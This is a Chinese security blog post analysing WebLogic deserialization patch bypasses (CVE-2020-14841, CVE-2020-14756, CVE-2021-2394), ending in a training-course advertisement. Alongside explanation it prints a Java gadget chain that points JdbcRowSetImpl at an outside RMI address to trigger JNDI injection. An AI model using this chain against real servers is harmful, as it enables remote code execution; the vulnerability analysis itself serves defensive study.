> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/wFHhWvnCLm1xcWZIbv6O3A) 前几天 weblogic 7 月例行更新中,修复了一个反序列化漏洞。该漏洞性质属于绕过之前的反序列化漏洞补丁。要了解这个漏洞的原因,我们首先要学习其他几个漏洞的原理。 一 weblogic 反序列化绕过指南 ------------------- 本章节只是大概讲解一下如何绕过 weblogic 反序列化漏洞的补丁。 序列化和反序列化是将一个对象从本机 JVM 中传输到远程 JVM 上。在 java 序列化的时候,会将对象的类名也写入到传输的数据中。反序列化的时候首先从数据中读取类名,然后通过反射,根据类名去实例化这个对象。类通过实现 java.io.Serializable 接口可以启用其序列化功能。未实现次接口的类无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。 一个类如果想被序列化,那么它可以继承自两个接口,这两个接口的对比如下。
区   别SerializableExternalizable
实现复杂度实现简单,Java 对其有内建支持实现复杂,由开发人员自己完成
执行效率所有对象由 Java 统一保存,性能较低开发人员决定哪个对象保存,可能造成速度提升
保存信息保存时占用空间大部分存储,可能造成空间减少
而在 weblogic 的 T3 协议中,就是用 java 的序列化协议互相传输对象。为了保证安全性,T3 协议的反序列化黑名单中标识哪些类不可以被反序列化。所以 weblogic 补丁绕过总共有下面几种办法 ### 1.1 黑名单没有覆盖的类 weblogic 的开发没有主观能动性,对于安全态度十分消极。只有有人上报 CVE,他才会动手加黑名单。否则绝对不会做任何事情。而且对于黑名单经常漏加,造成很多绕过案例。 ### 1.2 利用未经过滤的 ObjectInputStream 绕过 在之前的公众号讲过,在 weblogic 中某些类继承自 Externalizable 接口,在反序列化的时候默认会调用`readExternal`方法。在该方法中没有使用 weblogic 提供的带有黑名单过滤功能的 FilterInputStream 去还原类。而是自作主张,自己使用了没有黑名单过滤的 ObjectInputStream 去还原对象。造成黑名单根本就没用上,例如 CVE-2020-2551 就是这种情况。 当然这只是一个大概,并没有很详细,我们这篇文章的重点不在此。 3. CVE-2020-14841 Jndi 注入漏洞 --------------------------- 在`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`中,代码如下 ``` public Object extract(Object arg0) {        if (arg0 == null) {            return null;        } else {            if (arg0 instanceof Wrapper) {                arg0 = ((Wrapper)arg0).unwrap();            }            if (!this.accessor.isInitialized()) {                this.accessor.initializeAttributes(arg0.getClass());            }            return this.accessor.getAttributeValueFromObject(arg0);        }    } ``` 我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于 this.accessor.getAttributeValueFromObject 中。对于这个漏洞,我们一般使用 MethodAttributeAccessor 这个类去触发漏洞 相关代码如下 ``` public class MethodAttributeAccessor extends AttributeAccessor {    protected String setMethodName = "";    protected String getMethodName;    protected transient Method setMethod;    protected transient Method getMethod;    protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {        try {            if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {                try {                    return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));            } else {                return this.getMethod.invoke(anObject, parameters);            } ``` 下面我们选取一条 Gadget。在反序列化的 Gadget 中,单纯通过反序列化还原一个类是没有办法触发漏洞,一般都一条链条去触发。所以我们选取下面的 cve-2020-14645 的 Gadget,代码如下 ``` // JdbcRowSetImpl        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();        jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");        methodAttributeAccessor.setIsWriteOnly(true);        methodAttributeAccessor.setAttributeName("UnicodeSec");        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");        final ExtractorComparator comparator = new ExtractorComparator(extractor);        final PriorityQueue queue = new PriorityQueue(2, comparator);        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};        Reflections.setFieldValue(queue, "queue", q);        Reflections.setFieldValue(queue, "size", 2);        Field comparatorF = queue.getClass().getDeclaredField("comparator");        comparatorF.setAccessible(true);        comparatorF.set(queue, new ExtractorComparator(extractor)); ``` 注意,在反序列化 Gadget 中,必须所有类都可以被反序列化。 Weblogic 的修复思路也比较清奇,只是将 LockVersionExtractor 与 MethodAttributeAccessor 类加入到黑名单中。但是 LockVersionExtractor 旁边还有一个 FilterExtractor 类,同样可以触发该漏洞,但是 weblogic 却没有将其加入到黑名单中。这也为 cve-2021-2394 埋下了伏笔 3. cve-2020-14756 分析 -------------------- weblogic 偏偏又搞出一套属于自己的反序列化方案。在 coherence 包中继承自`com.tangosol.io.ExternalizableLite`的类同样可以被反序列化。我们看一下`com.tangosol.io.ExternalizableLite`的具体代码。 ``` public interface ExternalizableLite extends Serializable {     void readExternal(DataInput var1) throws IOException;     void writeExternal(DataOutput var1) throws IOException; } ``` 虽然他这个接口也存在 readExternal 方法,但是方法的参数类型与 java.io.Externalizable 接口的 readExternal 方法的参数类型不同。所以对于继承自`com.tangosol.io.ExternalizableLite`的类,在反序列化的时候并不会主动调用其 readExternal 方法。而是像继承自 java.io.serializable 接口的类一样,还原所有属性。 但是我们要想办法调用`com.tangosol.io.ExternalizableLite`的 readExternal 方法,在很多继承自该接口的类中都重写了该方法,而且有很多注入绕过 weblogic 黑名单的敏感操作。在`com.tangosol.coherence.servlet.AttributeHolder`类中,java 原生的序列化与反序列化默认会调用`readExternal(ObjectInput in)`方法,恰好又调用了`readExternal(DataInput in)`方法。方法代码如下,第三行中使用`ExternalizableHelper.readObject`从流中还原一个对象 ``` public void readExternal(DataInput in) throws IOException {        this.m_sName = ExternalizableHelper.readUTF(in);        this.m_oValue = ExternalizableHelper.readObject(in);        this.m_fActivationListener = in.readBoolean();        this.m_fBindingListener = in.readBoolean();        this.m_fLocal = in.readBoolean();    } ``` 在`ExternalizableHelper.readObject`方法中实际调用`ExternalizableHelper.readObjectInternal`方法去还原一个对象,代码如下 ![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnrzknuFzpY0ZFXJdKMVje4YY950xicQ3JI9hYiaOricgT0wjszuvoSXTwgg/640?wx_fmt=png) 在这里根据对象的类型,调用相关函数去还原。对于继承自`com.tangosol.io.ExternalizableLite`的类,由 readExternalizableLite 方法去处理,实例化相关对象后,再调用类的 readExtrenal 方法。 ![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnrueBIZU5sSqg5DDTsO6cteCvvmz5cyKQic1qgMCtx68bNOBo0frVKwVA/640?wx_fmt=png) 在这里,读取类名将其实例化。在这最关键的一步,缺少了黑名单的过滤。 weblogic 的修复方法也很简单,那就是直接弄个黑名单过滤,代码如下,黑名单其实就是 ![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnr2JJPdlD7ialGYA732iapQCcyxOMhbskiaqXp5Sp6GdgGiaBxicttBIhN2jA/640?wx_fmt=png) 4. cve-2021-2394 分析 ------------------- 说了上面这两个漏洞,终于可以引出下面这个漏洞了。这个漏洞其实是 CVE-2020-14841 与 cve-2020-14756 的结合体。在 cve-2020-14841 中最为关键的两个类目前已经加入黑名单套餐。其中 LockVersionExtractor 可以使用 FilterExtractor 代替。那么 MethodAttributeAccessor 如何代替。 答案在`oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor(java.io.DataInput)`中,代码如图。在这个方法中实例化一个 MethodAttributeAccessor 对象。我们只需要寻找在反序列化过程中是谁调用该方法,即可不通过反序列化去生成 MethodAttributeAccessor 对象 ![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnr1Jnh634Q3ont9qwCnDvEzGLtvFuicajCFuersp8lIZvdlTVgdRcBfFA/640?wx_fmt=png) image.png 巧合的是,FilterExtractor 中,正好会通过 readAttributeAccessor 去还原 MethodAttributeAccessor 对象。FilterExtractor 对象也恰好继承自`com.tangosol.io.ExternalizableLite`方法。而触发 readAttributeAccessor 的方法恰好是重写自接口的方法。 我们只需要通过 cve-2020-14756 前半部分触发漏洞即可。十分简单,代码如下![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnrZKOnnlLIIkeqjSr6DDzPOic5e9f2CiaXPGVI2gHB6dPp86863Jia9EckQ/640?wx_fmt=png) ![](https://mmbiz.qpic.cn/mmbiz_png/cOCqjucntdHAGnvu13srwY5EQ6mwMsnr6NdPMeTUehQmmGia4W9sic8TuhnghLK5WrxOBTlHvIYnZ59g4898XXBw/640?wx_fmt=png) _*** 文中提到所有代码已放至知识星球**_ 号外 [宽字节安全 JAVA 安全线上进阶课程:开讲啦!!!](https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484931&idx=1&sn=a71640ef96ffdc5e26b1c5df38dca0ba&scene=21#wechat_redirect) 宽字节安全首次推出 `JAVA安全进阶`课程,系统性讲解 JAVA 反序列化漏洞,代码执行漏洞等开发中可能出现的安全问题。 培训采用 线上授课 + 视频录播 的授课方式,交流群随问随答。首期班加入即送 宽字节安全知识星球  名额,涉及 **java 安全,红蓝对抗,漏洞研究****等安全领域。** 每周只安排两天课,共 6 周 36 课时,由浅入深,感受 java 安全魅力。 * 周三 **19:30 - 21:30** * 周日 **14:00 -18:00** 整套课程原价 **6888 元**,现在报名即可享受立减 1000 元!!! 名额有限欢迎咨询。 [点击查看详情](https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484931&idx=1&sn=a71640ef96ffdc5e26b1c5df38dca0ba&scene=21#wechat_redirect) 扫码添加客服微信,期待您的加入 ![](https://mmbiz.qpic.cn/mmbiz_jpg/cOCqjucntdEhsMUjTPslVricKT94iaKpb5sL2PolmEf1WwcEEuwFaIGL9U3ePh1KXDDK8yggpMPHwDUibcn5b17wg/640?wx_fmt=jpeg)